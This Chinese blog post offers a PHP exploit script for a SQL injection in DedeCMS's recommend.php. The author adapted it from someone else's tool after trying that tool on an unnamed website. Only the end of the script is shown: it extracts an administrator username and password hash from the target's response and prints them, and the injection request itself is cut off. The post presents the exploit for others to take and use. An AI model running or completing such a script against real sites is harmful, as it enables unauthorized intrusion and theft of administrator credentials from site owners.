DedeCMS recommend.php 注入EXP

今天无意中看到园长MM发的DedeCMS recommend.php 注入利用工具，找了个站测试了一下，发现获取不到内容，郁闷了一下。

拿园长的工具来改改，改成PHP版的，喜欢的拿去。。。

关于漏洞的详情，网上好像没有人分析，代码审计我也不懂，没办法，我是小菜，分析代码的活还是交给大牛们吧。@seay牛

漏洞利用EXP

/', $info, $match)) {
        echo '========================================' . PHP_EOL;
        echo '用户名：' . $match[1] . '     密码：' . substr($match[2], 3, 16) . PHP_EOL;
        echo '========================================' . PHP_EOL;
    } else {
        echo '未知错误，请手工尝试！' . PHP_EOL;
    }
} else {
    echo '报告大爷，网站不存在此漏洞！' . PHP_EOL;
}
//统计时间
$start_time = func_time();
//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间：' . round((func_time() - $start_time), 4) . '秒';
?>

效果如下：

参考网站：

http://0day5.com/archives/1349

3d57fcbdd21c669df41aa8949f6a7ceea4fb315a

from www.waitalone.cn.thanks for it.